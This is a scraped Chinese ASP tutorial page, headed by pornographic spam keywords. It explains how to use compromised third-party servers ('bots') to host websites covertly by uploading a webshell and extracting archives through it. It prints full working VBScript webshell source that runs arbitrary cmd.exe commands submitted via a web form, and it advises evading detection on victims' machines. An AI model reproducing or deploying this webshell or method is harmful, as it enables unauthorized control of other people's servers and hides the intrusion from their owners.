欧美日韩精品在线,国内精品久久久久久久久,一级毛片恃级毛片直播,清纯唯美亚洲综合欧美色

代碼指導(dǎo)用ASP木馬實(shí)現(xiàn)FTP和解壓縮_ASP教程

編輯Tag賺U幣
教程Tag:暫無(wú)Tag,歡迎添加,賺取U幣!

推薦:如何讓你的ASP運(yùn)行于非Windows平臺(tái)
自從Micorsoft推出ASP技術(shù)后,由于ASP在創(chuàng)建動(dòng)態(tài)交互式站點(diǎn)上的強(qiáng)大功能及其代碼編寫(xiě)的簡(jiǎn)便性,使ASP在越來(lái)越多的Internet/Intranet/Extranet網(wǎng)站上得到了極其廣泛的應(yīng)用,尤其是涉及到數(shù)據(jù)庫(kù)操

我想大家都有一些開(kāi)了80端口的肉雞吧,如果是國(guó)內(nèi)的出于安全就不要往下看了,如果不不妨往下看一下,小弟獻(xiàn)丑了,以求拋磚引玉。

在肉雞上放網(wǎng)站最麻煩的可能就是更新和上傳大量的文件了,終端服務(wù)大白天容易被發(fā)現(xiàn),自己開(kāi)個(gè)ftp又不放心.自己在網(wǎng)上轉(zhuǎn)了一圈發(fā)現(xiàn)通過(guò)結(jié)合無(wú)組件上傳和ASP木馬可以輕松實(shí)現(xiàn)。

asp木馬大家都很熟悉,無(wú)非就是一個(gè)cmd,有什么作用啊,你別急,聽(tīng)我慢慢說(shuō)嘛.整體思路就是先通過(guò)ftp,139,或者winshell上傳一個(gè)無(wú)組件asp程序。我選擇了化境的Webedit(其實(shí)這個(gè)已經(jīng)不是一個(gè)單純的無(wú)組件上傳的工具了,通過(guò)它還可以修改,刪除文件/目錄,可以用來(lái)更新頁(yè)面喔,作起來(lái)廣告了,我跟他沒(méi)親戚啊,閃過(guò)一個(gè)flying bottle..繼續(xù))和一個(gè)asp木馬(如果,實(shí)在懶得找。最后帶著源碼,粘貼另存為asp文件即可),記住可都要在肉雞的web目錄喔.其實(shí)大多的問(wèn)題webedit都可以解決,不過(guò)如果有很多文件一個(gè)一個(gè)上傳可就麻煩了,怎么辦?這下asp木馬用上了。找一個(gè)rar.exe(所有裝過(guò)了winrar的目錄都有,說(shuō)不定肉雞上已經(jīng)安好了,如果是別的命令行的解壓縮工具也可以喔)把它拷到%SystemRoot%\system32\下。上傳.zip或者.rar文件到該肉雞的web目錄。在瀏覽器地址欄里打開(kāi)asp木馬(暫時(shí)稱之為trojan.asp),在text文本框里輸入rar -x source.rar path解壓縮成功,V,且慢如何得到web目錄的絕對(duì)路徑(path)呢?我用的是用土方法,修改trojan.asp加入一行轉(zhuǎn)換虛擬目錄成絕對(duì)路徑并輸出的語(yǔ)句<% =server.mappath(".") %>,"."可以隨意改成任何的相對(duì)虛擬目錄。

只是提供一個(gè)思路,如果哪個(gè)牛人可寫(xiě)一個(gè)asp的解壓縮那更好嘍,不過(guò)?誰(shuí)會(huì)呢,我不會(huì),你會(huì)嗎?至于如何隱藏虛擬目錄,支持簡(jiǎn)體中文顯示等就不是該篇的討論之列了,老話,安全第一,一般放個(gè)小的論壇或聊天室就可以了,如果真放個(gè)個(gè)人主頁(yè),還把自己的聯(lián)系地址,電話號(hào)碼也留給人家就不太好了.ps.junesun建議直接作成自解壓,不知會(huì)不會(huì)彈出對(duì)話框。

以下為引用的內(nèi)容:

<%@ Language=VBScript %>
<%
 Dim oScript
 Dim oScriptNet
 Dim oFileSys, oFile
 Dim szCMD, szTempFile
 On Error Resume Next
 <

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.createObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.createObject("WSCRIPT.netWORK")
  Set oFileSys = Server.createObject("Scripting.FileSystemObject") <

  ' -- check for a command that we have posted -- '
  szCMD = Request.form(".CMD")
  If (szCMD <> "") Then <

   ' -- Use a poor man's pipe ... a temp file -- '
   szTempFile = "C:\" & oFileSys.GetTempName( )
   Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
   Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) <

  End If <

%>
<HTML>
<BODY>
 <form action="<%= Request.ServerVariables("URL") %>" method="POST">
  <input type=text name=".CMD" size=45 value="<%= szCMD %>">
  <input type=submit value="Run">
 </form>
<PRE> <

 <%
  If (IsObject(oFile)) Then
   ' -- Read the output from our command and remove the temp file -- '
   On Error Resume Next
   Response.Write Server.HTMLEncode(oFile.ReadAll)
   oFile.Close
   Call oFileSys.deleteFile(szTempFile, True)
  End If
 %>
</BODY>
</HTML>

分享:瞄準(zhǔn)Apache IIS7向開(kāi)源張開(kāi)雙臂
微軟看中了Apache模塊化程度(modularity)高的優(yōu)點(diǎn)。微軟 IIS團(tuán)隊(duì)高級(jí)項(xiàng)目經(jīng)理Eric Deily說(shuō),他們正努力在IIS 7.0中模仿這一特性。IIS7.0較以往版本最大的變化就是通過(guò)FastCGI原生支持多種開(kāi)源開(kāi)

來(lái)源:模板無(wú)憂//所屬分類:ASP教程/更新時(shí)間:2008-08-22
相關(guān)ASP教程